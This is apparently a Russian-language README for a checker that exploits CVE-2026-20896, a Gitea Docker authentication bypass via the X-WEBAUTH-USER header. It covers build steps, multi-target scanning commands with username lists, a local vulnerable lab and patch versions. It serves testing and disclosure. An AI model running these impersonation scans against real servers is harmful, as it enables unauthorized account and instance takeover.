
CVE-2026-20896 Gitea Docker X-WEBAUTH-USER чекер обхода аутентификации
Только для авторизованных операций red team / пентеста.
Этот репозиторий содержит минимальный чекер для CVE-2026-20896, обхода аутентификации в официальных Docker-образах Gitea до версии 1.26.2 включительно, когда включена аутентификация через обратный прокси.
Затронутые Docker-образы Gitea поставлялись с шаблоном app.ini, содержащим:
REVERSE_PROXY_TRUSTED_PROXIES = *
Когда администратор включал:
ENABLE_REVERSE_PROXY_AUTHENTICATION = true
Gitea доверял заголовку X-WEBAUTH-USER с любого исходного IP-адреса, который мог напрямую достичь HTTP-порта контейнера. Клиент, обошедший предполагаемый аутентифицирующий обратный прокси, мог отправить единственный заголовок и выдать себя за известного или угадываемого пользователя.
Практическое воздействие — неаутентифицированная выдача себя за учётную запись. Если угаданный пользователь является администратором, наихудший случай — полный захват экземпляра Gitea на уровне приложения и его репозиториев. RCE на хосте зависит от окружения и не заявляется данным чекером.
Исправленные версии начинаются с 1.26.3; рекомендуется обновление до 1.26.4 или новее.
Чекер:
Powered by Gitea Version: 1.26.4.>= 1.26.3.GET / с заголовком X-WEBAUTH-USER: <username> для каждого указанного имени пользователя.Версия на Go поддерживает множественные цели, файлы с именами пользователей, параллелизм, таймауты, вывод JSONL, TLS --insecure, --dry-run и --force.
go build -o gitea-cve-2026-20896-check .
Сторонние Go-зависимости не требуются.
Одиночная цель:
./gitea-cve-2026-20896-check \
--url http://localhost:3000 \
--users admin,gitea_admin,alice
Множественные цели и имена пользователей:
./gitea-cve-2026-20896-check \
--targets targets.txt \
--user-file users.txt \
--concurrency 64 \
--timeout 8s \
--jsonl
Пробный запуск:
./gitea-cve-2026-20896-check \
--url http://localhost:3000 \
--users admin,alice \
--dry-run
Запасной вариант Bash:
./poc.sh --url http://localhost:3000 --users admin,alice
0: подтверждена хотя бы одна уязвимая выдача себя1: не подтверждено ни одной уязвимой выдачи себя2: ошибка использования, ввода или выполненияСледующая лаборатория запускает уязвимый локальный контейнер Gitea и создаёт тестового пользователя:
docker run -d --name gitea-cve-2026-20896 \
-p 127.0.0.1:3000:3000 \
-e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
-e GITEA__security__INSTALL_LOCK=true \
gitea/gitea:1.26.2
sleep 15
docker exec --user git gitea-cve-2026-20896 gitea admin user create \
--username alice \
--password 'longpasswordhere1234' \
--email [email protected] \
--must-change-password=false
./gitea-cve-2026-20896-check --url http://localhost:3000 --users bob,alice,admin
Ожидаемый положительный результат:
[VULNERABLE] http://localhost:3000 user=alice title="alice - Dashboard - Gitea: Git with a cup of tea"
Очистка:
docker rm -f gitea-cve-2026-20896
1.26.3 или новее; предпочтительна версия 1.26.4 или новее.1.26.3 / 1.26.4: https://blog.gitea.com/release-of-1.26.3-and-1.26.4/